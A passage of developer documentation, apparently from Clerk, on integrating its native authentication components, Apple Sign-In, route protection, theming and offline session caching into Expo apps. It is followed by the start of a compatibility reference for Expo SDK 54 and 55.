  const router = useRouter()

  useEffect(() => {
    if (isSignedIn) router.replace('/')
  }, [isSignedIn, router])

  return <AuthView mode="signInOrUp" />
}
```

The `treatPendingAsSignedOut: false` flag deserves a proper explanation. Since [`@clerk/clerk-react` 5.26.0 (April 2025, PR #5507)](https://github.com/clerk/javascript/pull/5507), which `@clerk/expo` depends on, `useAuth()` defaults `treatPendingAsSignedOut` to `true`. "Pending" is Clerk's generic state for "a session exists but requires an additional step" (for example, [MFA](/docs/guides/development/custom-flows/authentication/multi-factor-authentication) not yet completed). In the native-components case, pending shows up during the native-session → JS-Clerk sync window: `clerk-ios` has already created a session, and `@clerk/expo` is still syncing it into the React tree. A `useEffect` watching `isSignedIn` with the default `true` would briefly see signed-out and fire, causing a redirect flicker. Setting `treatPendingAsSignedOut: false` bridges the gap for screens that react to native authentication.

### Test the flow

Run the dev build and tap the Google button inside `<AuthView />`:

```bash
npx expo run:ios
```

iOS has no OS-level Google credential picker. `<AuthView />` opens an `ASWebAuthenticationSession` Safari sheet, the same sheet Google's own `GIDSignIn` iOS SDK uses. The user sees a system-managed Safari interface asking permission to sign in; cookies shared with Safari mean most users continue with one tap. This is the RFC 8252 compliant flow, with browser chrome visible rather than a browserless OS picker.

On Android, the same `<AuthView />` opens the Credential Manager bottom sheet ([Android Credential Manager for Sign in with Google](https://developer.android.com/identity/sign-in/credential-manager-siwg)), the fully native experience. The contrast is deliberate: iOS doesn't expose an equivalent OS API.

You can cross-reference the full sample code in Clerk's [NativeComponentQuickstart `app/index.tsx`](https://github.com/clerk/clerk-expo-quickstart/blob/main/NativeComponentQuickstart/app/index.tsx).

## Step 5: User management with `<UserButton />` and `useUserProfileModal()`

Post-auth UX usually needs two things: a visible affordance for the user to manage their account, and a place to do it. `<UserButton />` is the affordance; `<UserProfileView />` is the place.

### Place `<UserButton />` in the header

`UserButton` has no props. Size is controlled by the parent `<View>` using `width`, `height`, `borderRadius`, and `overflow: 'hidden'` ([UserButton.tsx source](https://github.com/clerk/javascript/blob/main/packages/expo/src/native/UserButton.tsx)). Put it in the Expo Router header's `headerRight`:

```tsx
import { UserButton } from '@clerk/expo/native'
import { Stack } from 'expo-router'
import { View } from 'react-native'

export default function HomeLayout() {
  return (
    <Stack
      screenOptions={{
        headerRight: () => (
          <View style={{ width: 44, height: 44, borderRadius: 22, overflow: 'hidden' }}>
            <UserButton />
          </View>
        ),
      }}
    >
      <Stack.Screen name="index" options={{ title: 'Home' }} />
    </Stack>
  )
}
```

Tapping the button opens the native profile modal, a real SwiftUI sheet on iOS, not a React Native `<Modal />`.

### Use `useUserProfileModal()` to open the profile imperatively

If you want a button in another screen (say, a settings row) to open the profile, use the `useUserProfileModal()` hook ([`useUserProfileModal.ts`](https://github.com/clerk/javascript/blob/main/packages/expo/src/hooks/useUserProfileModal.ts)):

```tsx
import { useUserProfileModal } from '@clerk/expo'
import { Button } from 'react-native'

export function AccountRow() {
  const { presentUserProfile, isAvailable } = useUserProfileModal()
  if (!isAvailable) return null
  return <Button title="Account" onPress={presentUserProfile} />
}
```

`isAvailable` is `false` on platforms where the native modal isn't supported (for example, web), so gate on it.

### Inline `<UserProfileView />` for dedicated profile screens

If you prefer a full-screen profile route, render `<UserProfileView />` inline:

```tsx
import { UserProfileView } from '@clerk/expo/native'

export default function ProfileScreen() {
  return <UserProfileView style={{ flex: 1 }} />
}
```

Of the three native components, `UserProfileView` is the only one that accepts a `style` prop ([UserProfileView.tsx source](https://github.com/clerk/javascript/blob/main/packages/expo/src/native/UserProfileView.tsx)). Use it to size and position the inline view; visual theming is still controlled by `clerk-theme.json`.

### Sign-out flow

`<UserProfileView />`'s built-in Sign Out button emits a signed-out event. Thanks to two-way session sync (introduced in `@clerk/expo` 3.1.6), the JavaScript `Clerk` instance updates automatically, so `useAuth().isSignedIn` flips to `false` and any `Stack.Protected` gate you've set up re-renders. If you want to react explicitly (log analytics, clear app state), use `useNativeAuthEvents()`:

```tsx
import { useNativeAuthEvents } from '@clerk/expo'
import { useRouter } from 'expo-router'

export function useSignOutRedirect() {
  const router = useRouter()
  useNativeAuthEvents({
    onSignedOut: () => router.replace('/sign-in'),
  })
}
```

The hook emits `signedIn` and `signedOut` events from the native SDKs via `NativeEventEmitter` ([`useNativeAuthEvents.ts`](https://github.com/clerk/javascript/blob/main/packages/expo/src/hooks/useNativeAuthEvents.ts)).

## Step 6: Add Apple Sign-In

Apple Sign-In is the only provider on iOS that renders a true native credential sheet via `ASAuthorizationController`. On Android, Apple falls back to an OAuth browser flow that `<AuthView />` handles transparently. The `@clerk/expo` config plugin writes the necessary iOS entitlement at prebuild time, so the wiring is minimal.

### Enable Apple in the Dashboard

In the Clerk Dashboard, go to **Social Connections → Apple** and enable it. For development, that's enough; you can test on a physical iPhone signed into a real Apple ID.

For production you'll also supply the Apple-side credentials ([Clerk Apple social connection setup](/docs/guides/configure/auth-strategies/social-connections/apple)):

- Apple Team ID.
- Services ID (created in the [Apple Developer portal](https://developer.apple.com/account/resources/identifiers/list/serviceId)).
- Key ID and `.p8` private key file (one-time download; back it up immediately per [Apple's private-key guide](https://developer.apple.com/help/account/capabilities/create-a-sign-in-with-apple-private-key)).

### Rebuild the dev build

The `@clerk/expo` plugin adds the `com.apple.developer.applesignin` entitlement at prebuild time, which is a native change. Rebuild:

```bash
npx expo run:ios --device
```

A simulator rebuild works for most of the flow, but physical-device testing is required for reliable end-to-end Apple Sign-In (see prerequisites).

### Testing without a physical iPhone

If you don't have a device on hand, you can still make progress. The Sign in with Apple sheet will render on the Simulator when an Apple ID is signed into **Settings → \[your name] → Media & Purchases**, and the initial authorization sometimes completes if that Apple ID has 2FA enabled ([Apple Developer Forums discussion](https://developer.apple.com/forums/thread/121940)). `getCredentialStateAsync` always throws on the Simulator, though, so any logic that checks credential state on subsequent launches will fail there.

Two pragmatic fallbacks:

- **Mock the native modules for unit tests and CI.** Expo's [official mocking guide](https://docs.expo.dev/modules/mocking/) covers the `jest-expo` preset and module mocks so your Apple Sign-In tests run green on a laptop with no device attached.
- **Borrow, ad-hoc, or rent a real device before release.** A personal device, an internal-distribution EAS build on a teammate's phone, or a cloud device farm (AWS Device Farm, BrowserStack, Firebase Test Lab) all work for pre-release verification. Apple's App Review requires a working Sign in with Apple implementation ([App Store Review Guideline 4.8](https://developer.apple.com/app-store/review/guidelines/#login-services)), so at least one physical-device pass is mandatory before shipping to the App Store.

### Test Apple Sign-In with `<AuthView />`

`<AuthView />` detects that Apple is enabled for your Clerk instance and renders the `ASAuthorizationAppleIDButton` automatically ([Apple Developer](https://developer.apple.com/documentation/authenticationservices/asauthorizationappleidbutton)). Tap it and the OS presents the credential sheet, biometric prompt, email relay option, all rendered by `ASAuthorizationController`. Clerk handles the sign-in → sign-up transfer flow internally, so a returning user with a Clerk account is signed in; a new user triggers a sign-up with the name and email that Apple provides on first authorization.

One OS constraint to plan for: Apple only returns the user's `fullName` and `email` on the first authorization. Subsequent sign-ins omit them. Clerk stores them automatically on first auth, so you don't need to handle this in your app, but it's worth knowing if you ever see a user with no name on re-sign-in during testing.

### Optional: custom Apple Sign-In UI with `useSignInWithApple()`

If you need a branded Apple button that lives outside `<AuthView />` (custom placement, haptics, extra `unsafeMetadata`, or interleaving with non-Clerk screens), use the `useSignInWithApple()` hook from the `/apple` subpath. [`@clerk/expo` 3.0.0](https://github.com/clerk/javascript/blob/main/packages/expo/CHANGELOG.md) moved the hook to a dedicated `/apple` entry point, so projects that don't need Apple Sign-In don't bundle `expo-apple-authentication` and `expo-crypto`.

Install the two additional packages and register `expo-apple-authentication` as an Expo config plugin so its entitlements and native dependencies are applied at prebuild ([Clerk Sign in with Apple (Expo)](/docs/expo/guides/configure/auth-strategies/sign-in-with-apple); [expo-apple-authentication config plugin](https://docs.expo.dev/versions/latest/sdk/apple-authentication/)):

```bash
npx expo install expo-apple-authentication expo-crypto
```

Register the plugin in `app.json`:

```json
{
  "expo": {
    "plugins": [
      "expo-router",
      "expo-secure-store",
      "expo-apple-authentication",
      ["@clerk/expo", {}]
    ]
  }
}
```

Then build the custom button. Import the hook from `@clerk/expo/apple` and gate rendering on `Platform.OS === 'ios'` because the hook is iOS-only ([`useSignInWithApple.ios.ts`](https://github.com/clerk/javascript/blob/main/packages/expo/src/hooks/useSignInWithApple.ios.ts)):

```tsx
import { useSignInWithApple } from '@clerk/expo/apple'
import { Platform, Pressable, Text } from 'react-native'
import { useRouter } from 'expo-router'

export function AppleButton() {
  const { startAppleAuthenticationFlow } = useSignInWithApple()
  const router = useRouter()
  if (Platform.OS !== 'ios') return null

  async function onPress() {
    try {
      const { createdSessionId, setActive } = await startAppleAuthenticationFlow()
      if (createdSessionId && setActive) {
        await setActive({ session: createdSessionId })
        router.replace('/')
      }
    } catch (err: any) {
      if (err.code !== 'ERR_REQUEST_CANCELED') console.error(err)
    }
  }

  return (
    <Pressable onPress={onPress}>
      <Text>Sign in with Apple</Text>
    </Pressable>
  )
}
```

The hook auto-generates a cryptographic nonce via `expo-crypto`, requests `FULL_NAME` + `EMAIL` scopes, and transparently transfers a sign-in into a sign-up when the Apple ID is new to Clerk. User cancellation is usually swallowed inside the hook and resolves with `createdSessionId: null` (no throw), but the `ERR_REQUEST_CANCELED` guard handles edge paths where it surfaces ([Clerk `useSignInWithApple` reference](/docs/reference/expo/native-hooks/use-sign-in-with-apple)).

For Android, Apple authentication goes through `useSSO({ strategy: 'oauth_apple' })` instead, which uses a browser flow under the hood ([`useSSO()` reference](/docs/reference/expo/native-hooks/use-sso)).

### When to pick `useSignInWithApple` vs `<AuthView />`

`<AuthView />` is the default path: drop-in native UI for Apple + Google + email/password + MFA + recovery, no manual dependency wiring, automatic entitlement management. Pick `useSignInWithApple()` only when you need a fully custom button UI that composes into an otherwise non-Clerk screen. Mixing the two inside a single sign-in flow is possible but usually unnecessary.

Apple first shipped the `useSignInWithApple()` hook for Expo on 2025-11-13 ([Clerk changelog, 2025-11-13](/changelog/2025-11-13-native-sign-in-with-apple-expo)).

## Step 7: Protect routes with Expo Router

Only signed-in users should reach the home stack. The cleanest pattern on Expo Router v5+ is `Stack.Protected` ([Expo Router authentication guide](https://docs.expo.dev/router/advanced/authentication/); [Stack.Protected reference](https://docs.expo.dev/router/advanced/protected/)):

```tsx
import { Stack } from 'expo-router'
import { useAuth } from '@clerk/expo'

export default function RootLayout() {
  const { isSignedIn, isLoaded } = useAuth()
  if (!isLoaded) return null

  return (
    <Stack>
      <Stack.Protected guard={isSignedIn}>
        <Stack.Screen name="(home)" />
      </Stack.Protected>
      <Stack.Protected guard={!isSignedIn}>
        <Stack.Screen name="sign-in" />
      </Stack.Protected>
    </Stack>
  )
}
```

The `isLoaded` check prevents a flash of the wrong route while Clerk's hydration completes. On Expo SDK 52 and earlier, use the legacy pattern with `useEffect` and `router.replace()`. `Stack.Protected` shipped with [Expo Router v5](https://expo.dev/blog/expo-router-v5).

If you prefer render-level gating instead of navigation-level gating, Clerk ships a `<Show>` component that replaces the legacy `<SignedIn>` / `<SignedOut>` / `<Protect>` triplet ([Clerk `<Show>` reference](/docs/expo/reference/components/control/show)). Both approaches work; `Stack.Protected` is usually cleaner for mobile flows.

## Under the hood: the Core 3 Signal API

> \[!NOTE]
> **Skip this section if you're only using `<AuthView />`, `<UserButton />`, and `<UserProfileView />`.** The native components render directly through `clerk-ios` (SwiftUI) and `clerk-android` (Jetpack Compose) and do not call the JavaScript Signal API. `@clerk/expo` syncs the resulting session into `useAuth()`, `useUser()`, and `useSession()` automatically, so you get reactive React state without writing any sign-in orchestration code.
>
> Come back here the first time you need to render a custom sign-in, sign-up, or MFA screen yourself. The Signal API is the supported JavaScript path for that; the native components are the default path when the pre-built UI works.

Clerk Core 3 shipped on 2026-03-03 ([Clerk changelog, 2026-03-03](/changelog/2026-03-03-core-3)), and `@clerk/expo` 3.1 brought it to Expo alongside the native components on 2026-03-09 ([Clerk changelog, 2026-03-09](/changelog/2026-03-09-expo-native-components)). The Signal API is a redesign of `useSignIn`, `useSignUp`, `useCheckout`, and `useWaitlist`. Each hook returns a reactive `*Future` object (`SignInFuture`, `SignUpFuture`) that triggers re-renders automatically and exposes three structured fields:

- `fetchStatus` (`'idle' | 'fetching'`) replaces manual `setIsLoading(true)` booleans.
- `status` (`'needs_first_factor' | 'needs_second_factor' | 'complete'` and so on) tells you where you are in the flow.
- `errors.fields` gives you parsed, field-scoped errors, no try/catch parsing of `ClerkAPIError[]`.

The canonical sign-in shape is:

```ts
signIn.create({ identifier }) // initialize with email, phone, or username
signIn.password({ password }) // authenticate with password
signIn.finalize({ navigate }) // completes the flow (replaces setActive())
```

Other first-factor methods follow the same pattern: `signIn.emailCode.sendCode()` / `.verifyCode({ code })`, `signIn.passkey()`, `signIn.mfa.verifyTOTP({ code })`, and so on ([Clerk MFA custom flow guide](/docs/guides/development/custom-flows/authentication/multi-factor-authentication)). The `navigate` callback passed to `finalize()` receives `{ session, decorateUrl }` so you can branch on `session.currentTask` (forced MFA setup, org selection, and similar "requires additional step" branches).

A minimal custom email/password screen:

```tsx
import { useSignIn } from '@clerk/expo'
import { useRouter } from 'expo-router'
import { useState } from 'react'
import { Text, TextInput, Button, View } from 'react-native'

export default function CustomSignIn() {
  const { signIn, errors, fetchStatus } = useSignIn()
  const router = useRouter()
  const [email, setEmail] = useState('')
  const [password, setPassword] = useState('')

  async function onSubmit() {
    await signIn.create({ identifier: email })
    await signIn.password({ password })
    if (signIn.status === 'complete') {
      await signIn.finalize({ navigate: () => router.replace('/') })
    }
  }

  return (
    <View>
      <TextInput value={email} onChangeText={setEmail} autoCapitalize="none" />
      {errors.fields.identifier && <Text>{errors.fields.identifier.message}</Text>}
      <TextInput value={password} onChangeText={setPassword} secureTextEntry />
      <Button title={fetchStatus === 'fetching' ? 'Signing in...' : 'Sign in'} onPress={onSubmit} />
    </View>
  )
}
```

Legacy Core 2 required wrapping each call in `try { ... } catch (err) { /* parse ClerkAPIError[] */ }`. Core 3 exposes parsed errors on the hook itself (`errors.fields.identifier?.message`, `errors.fields.password?.message`, plus `errors.global` and raw `errors.raw`), so the component code stays linear.

`<AuthView />` does not call the JavaScript Signal API. It renders through the native Clerk SDKs (`clerk-ios` SwiftUI, `clerk-android` Compose), which implement the equivalent flow natively. When the native SDK completes authentication, `@clerk/expo` syncs the session into the JS `Clerk` instance, so `useAuth()`, `useUser()`, and `useSession()` all reflect the new state. The Signal API hooks are the custom-UI escape hatch when you need to render the sign-in screen yourself.

One stability caveat worth flagging: the `SignInFuture` instance does not have a stable identity across flow steps. If you reference `signIn` inside `useEffect`, `useCallback`, or `useMemo`, include it in the dependency array explicitly rather than relying on React identity stability ([`SignInFuture` reference](/docs/reference/objects/sign-in-future)).

## Theming the native components

`@clerk/expo` 3.2.0 (shipped 2026-04-16) added a `theme` plugin option that points at a JSON file. Tokens are embedded at prebuild time, so the customization lives at the native layer rather than JS runtime.

Create `clerk-theme.json` at the project root:

```json
{
  "colors": {
    "primary": "#6C47FF",
    "background": "#FFFFFF",
    "foreground": "#0A0A0A"
  },
  "darkColors": {
    "background": "#121212",
    "foreground": "#F5F5F5"
  },
  "design": {
    "borderRadius": 12
  }
}
```

Reference it in the plugin config:

```json
["@clerk/expo", { "theme": "./clerk-theme.json" }]
```

Fifteen color tokens are available in the light `colors` block: `primary`, `background`, `input`, `danger`, `success`, `warning`, `foreground`, `mutedForeground`, `primaryForeground`, `inputForeground`, `neutral`, `border`, `ring`, `muted`, and `shadow`. The `darkColors` block accepts the same tokens (override any you want), plus `design.borderRadius` and an iOS-only `design.fontFamily`. Rebuild after changing the file because values are baked in at prebuild time ([NativeComponentQuickstart `clerk-theme.json`](https://github.com/clerk/clerk-expo-quickstart/blob/main/NativeComponentQuickstart/clerk-theme.json)).

## Offline session rehydration

Mobile apps live with flaky networks. `@clerk/expo` ships an experimental resource cache that persists environment, client state, and the last session JWT to `expo-secure-store`, so the app boots into an authenticated state on cold start without a network roundtrip. Opt in by passing `resourceCache` as the `__experimental_resourceCache` prop on `<ClerkProvider>` ([Clerk offline support](/docs/guides/development/offline-support)):

```tsx
import { ClerkProvider } from '@clerk/expo'
import { tokenCache } from '@clerk/expo/token-cache'
import { resourceCache } from '@clerk/expo/resource-cache'
import { Stack } from 'expo-router'

const publishableKey = process.env.EXPO_PUBLIC_CLERK_PUBLISHABLE_KEY!

export default function RootLayout() {
  return (
    <ClerkProvider
      publishableKey={publishableKey}
      tokenCache={tokenCache}
      __experimental_resourceCache={resourceCache}
    >
      <Stack />
    </ClerkProvider>
  )
}
```

Three things are cached: the Clerk environment (enabled auth strategies, organization settings, feature flags), client state (active sessions, the user object), and the session JWT. Behind the scenes, `resourceCache` chunks values across `expo-secure-store` slots with `keychainAccessible: AFTER_FIRST_UNLOCK`, so the cache is readable only after the user has unlocked the device at least once per boot ([`resource-cache.ts` source](https://github.com/clerk/javascript/blob/main/packages/expo/src/resource-cache/resource-cache.ts)).

What it does and does not do:

- **Rehydration, yes.** On a cold start with no network, `useAuth()` resolves from cache and `getToken()` returns the last cached JWT. Your gated routes render immediately.
- **Offline sign-in, no.** `signIn.create()`, `signIn.password()`, `<AuthView />`, and the native social flows all still require network. The resource cache accelerates the "already signed in" path, not the first authentication.
- **Staleness applies.** Cached tokens can be stale until the next refresh, so always treat server-side verification as the source of truth when gating sensitive data.

The `__experimental_` prefix reflects that the shape may change. Clerk's docs warn: "It is subject to change in future updates, so use it cautiously in production environments" ([Clerk offline support](/docs/guides/development/offline-support)). The older `@clerk/expo/secure-store` export covered similar ground and is now deprecated in favor of `resourceCache`.

## Troubleshooting

Most native-component issues fall into a handful of buckets. Here's what to check first.

**"Native module not found" or `TurboModuleRegistry` errors.** You're running in Expo Go or an old dev build. Rebuild with `npx expo run:ios` or `npx expo run:android`.

**Google Sign-In `error code: 10` on Android.** The SHA-1 fingerprint you registered in the Google Cloud Console doesn't match the signing key of the build currently on the device. Re-run `./gradlew signingReport`, copy the debug SHA-1, and update the Android OAuth client ID. Release builds use a different fingerprint ([React Native Google Sign-In, Setting Up](https://react-native-google-signin.github.io/docs/setting-up/get-config-file)).

**Apple Sign-In "hangs" on the simulator.** You're hitting the Simulator's `getCredentialStateAsync` gap. Move to a physical iPhone signed into a real Apple ID ([expo-apple-authentication docs](https://docs.expo.dev/versions/latest/sdk/apple-authentication/)).

**Kotlin metadata version mismatch on Android.** Fixed in `@clerk/expo` 3.1.5. The config plugin now adds the `-Xskip-metadata-version-check` Kotlin compiler flag at prebuild time, so builds against Expo SDK 54/55 stop failing with mismatched metadata errors. Upgrade to 3.1.5 or newer ([@clerk/expo CHANGELOG](https://github.com/clerk/javascript/blob/main/packages/expo/CHANGELOG.md)).

**OAuth redirect URI mismatch.** Clerk's default mobile SSO redirect is `{bundleIdentifier}://callback`. Verify the Dashboard's "Allowlist for mobile SSO redirect" matches your app's Bundle ID ([Clerk iOS production docs](/docs/ios/reference/native-mobile/production)).

**White flash on AuthView mount (iOS).** Fixed in `@clerk/expo` 3.1.10.

**`useAuth()` reports signed-out briefly after a successful native sign-in.** This is the native-session → JS-Clerk sync window. `clerk-ios` has already created the session (as `pending`); `@clerk/expo` is still syncing it into the React tree. Since `useAuth()` defaults `treatPendingAsSignedOut: true`, the hook reads pending as signed-out. Set `useAuth({ treatPendingAsSignedOut: false })` anywhere you watch `isSignedIn` after a native flow to bridge the gap.

## Frequently asked questions

## Next steps

- **Add [passkeys](/docs/guides/configure/auth-strategies/sign-up-sign-in-options#passkeys).** Install `@clerk/expo-passkeys` and pass `__experimental_passkeys` to `<ClerkProvider>` to enable passkey sign-in and enrollment inside `<AuthView />` and `<UserProfileView />`. Works on iOS 16+ and Android 9+ ([Clerk Expo passkeys](/docs/reference/expo/passkeys)).
- **Biometric sign-in.** Use `useLocalCredentials()` to authenticate with a stored password via Face ID or Touch ID on return visits. It's a password-strategy-only hook, so it complements `<AuthView />` rather than replacing it ([Clerk `useLocalCredentials`](/docs/reference/expo/native-hooks/use-local-credentials)).
- **Authenticated backend calls.** Use `getToken()` from `useAuth()` to retrieve a short-lived session JWT and send it as an `Authorization: Bearer` header to your own backend ([Clerk session tokens](/docs/guides/sessions/session-tokens)).

---

# Clerk Compatibility in Expo 54 and 55
URL: https://clerk.com/articles/clerk-compatibility-in-expo-54-and-55.md
Date: 2026-04-16
Description: Comprehensive compatibility reference for Clerk with Expo SDK 54 and 55 — covers @clerk/expo v3.1.x authentication approaches, native components, and known limitations.

`@clerk/expo` v3.1.x fully supports both Expo SDK 54 and Expo SDK 55 for iOS and Android. This article provides a comprehensive compatibility reference for developers integrating Clerk [authentication](/glossary/authentication) into [Expo](/glossary/expo) apps, covering version requirements, authentication approaches, feature availability, setup configuration, and known limitations. All information reflects `@clerk/expo` v3.1.12, Expo SDK 54, and Expo SDK 55 as of April 2026.

> \[!NOTE]
> **Current [SDK](/glossary/software-development-kit-sdk) version:** `@clerk/expo` v3.x is part of Clerk Core 3, [released March 3, 2026](/changelog/2026-03-03-core-3). The package was renamed from `@clerk/clerk-expo` to `@clerk/expo`. `publishableKey` is now a required prop on `<ClerkProvider>`. The `<Show>` component replaces `<SignedIn>`, `<SignedOut>`, and `<Protect>`. Hooks were reorganized into subpath imports (e.g., `@clerk/expo/apple`, `@clerk/expo/google`). This article covers the current SDK version and is not a migration guide. If upgrading from v2.x, refer to the [Core 3 upgrade guide](/docs/guides/development/upgrading/upgrade-guides/core-3).

## Clerk and Expo Compatibility: Version Support Matrix

The `@clerk/expo` SDK v3.1.x is compatible with both Expo SDK 54 and Expo SDK 55. The following table summarizes the version requirements for each component.

| Component                  |      Expo SDK 54      |      Expo SDK 55     |
| -------------------------- | :-------------------: | :------------------: |
| `@clerk/expo` version      |         3.1.x         |         3.1.x        |
| React Native               |          0.81         |         0.83         |
| React                      |          19.1         |         19.2         |
| New Architecture           |  Supported (optional) | Required (mandatory) |
| Legacy Architecture        | Supported (final SDK) |     Not available    |
| Minimum Xcode              | 16.1 (26 recommended) |          26          |
| EAS Build default Xcode    |          26.0         |         26.2         |
| Android `targetSdkVersion` |      36 (API 36)      |      36 (API 36)     |
| Node.js                    |       `>=20.9.0`      |      `>=20.9.0`      |

> \[!NOTE]
> **Xcode versioning:** Apple adopted year-based versioning at WWDC 2025, jumping from Xcode 16 directly to Xcode 26. Versions 17 through 25 do not exist. [Xcode 26.0 GA shipped September 15, 2025](https://developer.apple.com/news/), and Xcode 26.4 is the current stable release as of April 2026.

The [`@clerk/expo` package](https://www.npmjs.com/package/@clerk/expo) declares the following peer dependencies: `expo: >=53 <56`, `react: ^18 || ^19`, and `react-native: >=0.73`. The minimum Node.js requirement is 20.9.0.

All three Clerk authentication approaches work on both SDK versions. The primary differences between SDK 54 and SDK 55 are:

- **SDK 54** supports both the Legacy Architecture and the New Architecture. It is the last SDK to support the Legacy Architecture.
- **SDK 55** requires the New Architecture. The `newArchEnabled` configuration option has been removed.
- **[Passkeys](/glossary/passkeys)** are supported on SDK 54, but `@clerk/expo-passkeys` does not formally support SDK 55 (peer dependency gap).

## How Clerk Integrates with Expo

### Architecture Overview

The `@clerk/expo` package builds on top of `@clerk/react`, which wraps ClerkJS — the core JavaScript SDK. When you add [`<ClerkProvider>`](/glossary/clerkprovider) to your Expo app, it initializes the authentication context and connects to Clerk's Frontend API (FAPI) using your [publishable key](/glossary/publishable-key).

Clerk uses a hybrid stateful and stateless [session](/glossary/session) model. Each session is stored in Clerk's database and represented on the client as a [short-lived JSON Web Token (JWT) with a 60-second expiry](/docs/guides/how-clerk-works/overview). The SDK automatically refreshes this token on a 50-second interval, ensuring uninterrupted access without manual token management.

In Expo apps, token persistence is handled via the `tokenCache` prop on `<ClerkProvider>`. Using [`expo-secure-store`](https://docs.expo.dev/versions/latest/sdk/securestore/), tokens are encrypted and stored on the device — in Apple Keychain on iOS and Android Keystore on Android. Without `tokenCache`, tokens are stored in memory and lost when the app restarts.

The publishable key ([environment variable](/glossary/environment-variables) `EXPO_PUBLIC_CLERK_PUBLISHABLE_KEY`) identifies your application and encodes the FAPI URL. This key must be explicitly passed as a prop to `<ClerkProvider>` in Expo because React Native production builds do not inline environment variables the same way web bundlers do.

### Three Approaches to Clerk Authentication in Expo

Clerk organizes Expo authentication into three approaches, each adding capability and requiring more native integration.

**Approach 1: JavaScript Custom Flows**

JavaScript custom flows use only JavaScript-based authentication with no native module dependencies. This includes email/password sign-in and sign-up, phone verification via OTP, magic links ([email links](/glossary/email-links)), and [passwordless login](/glossary/passwordless-login). The relevant hooks are `useSignIn()`, `useSignUp()`, `useAuth()`, `useUser()`, and `useSession()`.

JavaScript custom flows work in both [Expo Go](https://expo.dev/go) and [development builds](https://docs.expo.dev/develop/development-builds/introduction/). This approach is suitable for rapid prototyping and for providers that do not have native SDKs.

**Approach 2: JavaScript + Native Sign-In Hooks**

This approach adds native platform integration for specific authentication methods:

- **Native Google Sign-In** via `useSignInWithGoogle` (from `@clerk/expo/google`) — uses the platform's system credential picker (ASAuthorization on iOS, Credential Manager on Android) without browser redirects
- **Native Apple Sign-In** via `useSignInWithApple` (from `@clerk/expo/apple`) — uses Apple's native authentication UI on iOS
- **[SSO](/glossary/single-sign-on-sso)/[OAuth](/glossary/oauth)** via `useSSO()` — browser-based [social login](/glossary/social-login) supporting 31+ providers, requiring a custom URL scheme for redirects
- **[Biometric authentication](/glossary/biometric-authentication)** via `useLocalCredentials` (from `@clerk/expo/local-credentials`) — stores password credentials with biometric unlock

Approach 2 **requires development builds** and does not work in Expo Go because Expo Go cannot load custom native modules or register custom URL schemes.

**Approach 3: Native Components (Beta)**

Native components render fully native UI using SwiftUI on iOS (via the [clerk-ios](https://github.com/clerk/clerk-ios) SDK) and Jetpack Compose on Android (via the [clerk-android](https://github.com/clerk/clerk-android) SDK). Three components are available:

- `<AuthView />` — complete sign-in/sign-up UI that automatically handles all authentication methods enabled in the Clerk Dashboard
- `<UserButton />` — avatar that opens a native profile modal on tap
- `<UserProfileView />` — inline profile management (email, phone, MFA, passkeys, sessions, connected accounts)

Native components were [released in beta on March 9, 2026](/changelog/2026-03-09-expo-native-components) as part of `@clerk/expo` v3.1.0. They require development builds and the `@clerk/expo` plugin in `app.json`. Approach 1 and Approach 2 remain the production-stable options.

## Expo SDK 54 Compatibility

### Expo 54 at a Glance

[Expo SDK 54](https://expo.dev/changelog/sdk-54) was released on September 10, 2025. It ships React Native 0.81 and React 19.1.

SDK 54 is the **last SDK version to support the Legacy Architecture**. Both the Legacy Architecture and the New Architecture work in SDK 54. At the time of SDK 54's release, approximately 75% of projects on EAS Build were already using the New Architecture.

Key platform changes in SDK 54:

- **Precompiled XCFrameworks** for faster iOS builds — clean build times dropped from approximately 120 seconds to approximately 10 seconds on M4 Max hardware
- **Rebuilt `expo-dev-launcher`** with improved debugging capabilities
- **Android 16 / API 36** is the default `targetSdkVersion`, making edge-to-edge display mandatory
- **Minimum Xcode 16.1** required (Xcode 26 recommended)

### Clerk Feature Support on Expo 54

`@clerk/expo` v3.1.x provides full support for all three authentication approaches on Expo SDK 54:

- **Approach 1** (JavaScript custom flows): Fully supported in both Expo Go and development builds
- **Approach 2** (JavaScript + native hooks): Fully supported in development builds
- **Approach 3** (Native components): Supported in beta in development builds

Both the Legacy Architecture and the New Architecture are compatible with `@clerk/expo`. The [SDK v3.1.5 release](https://github.com/clerk/javascript/blob/main/packages/expo/CHANGELOG.md) added the `-Xskip-metadata-version-check` Kotlin compiler flag for SDK 54 and SDK 55 compatibility, and fixed an Android New Architecture codegen error related to the NativeClerkModule.

Token caching with `expo-secure-store` works as expected on SDK 54. Passkeys are supported via `@clerk/expo-passkeys`, which includes SDK 54 in its peer dependency range (`expo: >=53 <55`).

There are no known Clerk-specific caveats unique to SDK 54.

> \[!TIP]
> If your project is still using the Legacy Architecture, SDK 54 is the last opportunity to upgrade to the New Architecture before SDK 55 makes it mandatory. Expo recommends upgrading to the New Architecture on SDK 54 first, testing, then upgrading the SDK version — rather than doing both simultaneously.

## Expo SDK 55 Compatibility

### Expo 55 at a Glance

[Expo SDK 55](https://expo.dev/changelog/sdk-55) was released on February 25, 2026. It ships React Native 0.83 and React 19.2, which introduces the Activity component and the `useEffectEvent` hook.

The most significant change in SDK 55 is that the **New Architecture is mandatory**. The `newArchEnabled` configuration option has been removed and the Legacy Architecture is no longer available. Approximately 83% of SDK 54 projects on EAS Build were already using the New Architecture before SDK 55 shipped.

Other notable changes in SDK 55:

- **Hermes v1** available as an opt-in JavaScript engine. Enable it by setting `useHermesV1: true` and `buildReactNativeFromSource: true` in the `expo-build-properties` plugin, and overriding the `hermes-compiler` version in `package.json`. Hermes v1 offers meaningful performance improvements and better support for modern JavaScript features. **Caveat:** it requires building React Native from source, which significantly increases native build times. It is not yet recommended for Android in monorepo projects.
- **[Bytecode diffing](https://expo.dev/blog/ship-smaller-ota-updates-bundle-diffing-comes-to-ota-updates-in-sdk-55)** for OTA updates — approximately 75% smaller update downloads
- **Minimum Xcode 26** required (see Xcode versioning note in the [Version Support Matrix](#clerk-and-expo-compatibility-version-support-matrix))
- **Native Tabs API** and **Apple Zoom transitions** for enhanced navigation
- All Expo SDK packages now use matching major version numbers (e.g., `expo-camera@^55.0.0`)

> \[!IMPORTANT]
> **Legacy Architecture transition:** As of April 2026, Expo Go in the App Store and Play Store remains on SDK 54. To use SDK 55 with Expo Go, install it via Expo CLI on Android, the TestFlight External Beta for iOS, or build a custom Expo Go via `eas go`. Additionally, `npx create-expo-app` defaults to SDK 54 during the transition period. To create an SDK 55 project, use `npx create-expo-app@latest --template default@sdk-55`.

### Clerk Feature Support on Expo 55

